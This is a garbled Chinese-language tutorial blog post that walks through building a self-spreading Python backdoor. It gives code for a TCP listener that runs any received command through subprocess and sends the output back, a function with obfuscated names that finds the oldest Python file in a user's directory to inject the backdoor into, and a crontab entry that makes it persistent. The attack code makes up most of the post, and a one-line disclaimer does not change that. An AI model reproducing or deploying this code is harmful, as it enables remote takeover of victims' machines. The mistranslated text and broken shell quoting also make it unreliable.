共计 2822 个字符，预计需要花费 8 分钟才能阅读完成。
明天的文章来展现一个 Python “ 病毒 ”，它感化其余 Python 文件来创立一个后门。后门利用 Python 的内置 socket 模块来创立一个监听器，用来连贯到 Python 的内置子过程模块，从而靶机上执行命令，同时还通过创立一个 cronjob 来建设持久性，以在每天固定的工夫运行后门。最终残缺的 Python 脚本蕴含在本文开端。留神：请不要将本文中提供的 Python 脚本用于歹意目标。尽管它不先进，但通过一些批改，它能够让齐全管制某人的计算机。本文的次要目标是通过这些脚本，更好地理解黑客如何获取失常程序并使它们成为恶意程序。
话不多说，让咱们开始吧。
1. 建设通信
任何后门最重要的局部都是建设通信。当初，让咱们为后门拜访编写一段代码。通过 TCP 连贯到靶机，咱们应用套接字模块监听黑客的连贯申请。在 socket 模块中，有一个函数也称为 socket，咱们能够应用它来创立 TCP 或 UDP 套接字。应用 socket.socket 函数创立套接字时，咱们须要提供两个参数来指定咱们要应用的 IP 版本和第 4 层协定。在这个 Python 脚本中，咱们将传入以下参数：socket.AF_INET 和 socket.SOCK_STREAM。
- AF_INET : 指定 IPv4
- SOCK_STREAM：指定 TCP 而不是 UDP。
- socket.socket 函数返回一个对象，该对象由最终确定正在创立的套接字是侦听套接字（服务器）还是连贯套接字（客户端）的办法组成。要创立侦听套接字，须要应用以下办法：
- bind > 将 IP 地址和端口绑定到网络接口
- listen > 批示咱们的套接字开始监听传入的连贯
- accept > 承受传入连贯
- recv > 从连贯的客户端接收数据
- send > 向连贯的客户端发送数据
然而，最重要的办法是 recv 和 send。recv 办法会接管来自攻击者的命令，应用 subproces.run 函数在受害者的零碎上执行它们，而后将执行命令的规范输入重定向到与攻击者建设的 TCP 连贯。上面是 Python 代码：
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit
def serve():
with socket(AF_INET, SOCK_STREAM) as soc:
# [*] The obfuscated values are just the IP address and port to bind to
soc.bind((ip, 端口))
soc.listen(5)
while True:
conn, _ = soc.accept()
while True:
cmd = conn.recv(1024).decode("utf-8").strip()
cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
if cmd_output.returncode == 0:
conn.send(bytes(cmd_output.stdout))
else:
continue
serve()2. 感化指标 Python 文件
这段程序通过遍历指定目录（最好是用户的主目录）并查找批改工夫最早的 Python 脚本。这里是测试，因而不是感化所有 Python 文件，而仅感化批改工夫最早的文件。感化一个 Python 文件对于管制靶机来说曾经够了。
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])上述代码的局部变量应用了混同，让人不易看懂，其实很简略，就是应用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的批改工夫。取得的每个文件的批改工夫被转换为 datetime.datetime 对象，以便咱们能够应用 > < 和 == 等运算符轻松比拟日期。在这个函数的最初，选定的指标 Python 文件名被传递到将后门服务器代码注入其中的函数。
3. 通过 crontab 工作来长久化
这个 Python 后门的最初一个函数应用 subprocess.run 函数来调用一个 Linux shell 命令，该命令将在以后用户的 crontab 文件中创立一个条目。此条目指定打算的 cronjob 应在每天 14:00 定时运行。增加 crontab 对应的 shell 命令如下：
echo '00 14 * * * file_name | crontab -而后咱们让 Python 把上一步感化的文件增加到 crontab 中：
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo'00 14 * * * {self.Z2hhenh4ZGwK[0]}'| crontab -", shell=True)以上就是本次分享的所有内容，如果你感觉文章还不错，欢送关注公众号：Python 编程学习圈 ，每日干货分享，发送“J”还可支付大量学习材料。或是返回编程学习网，理解更多编程技术常识。
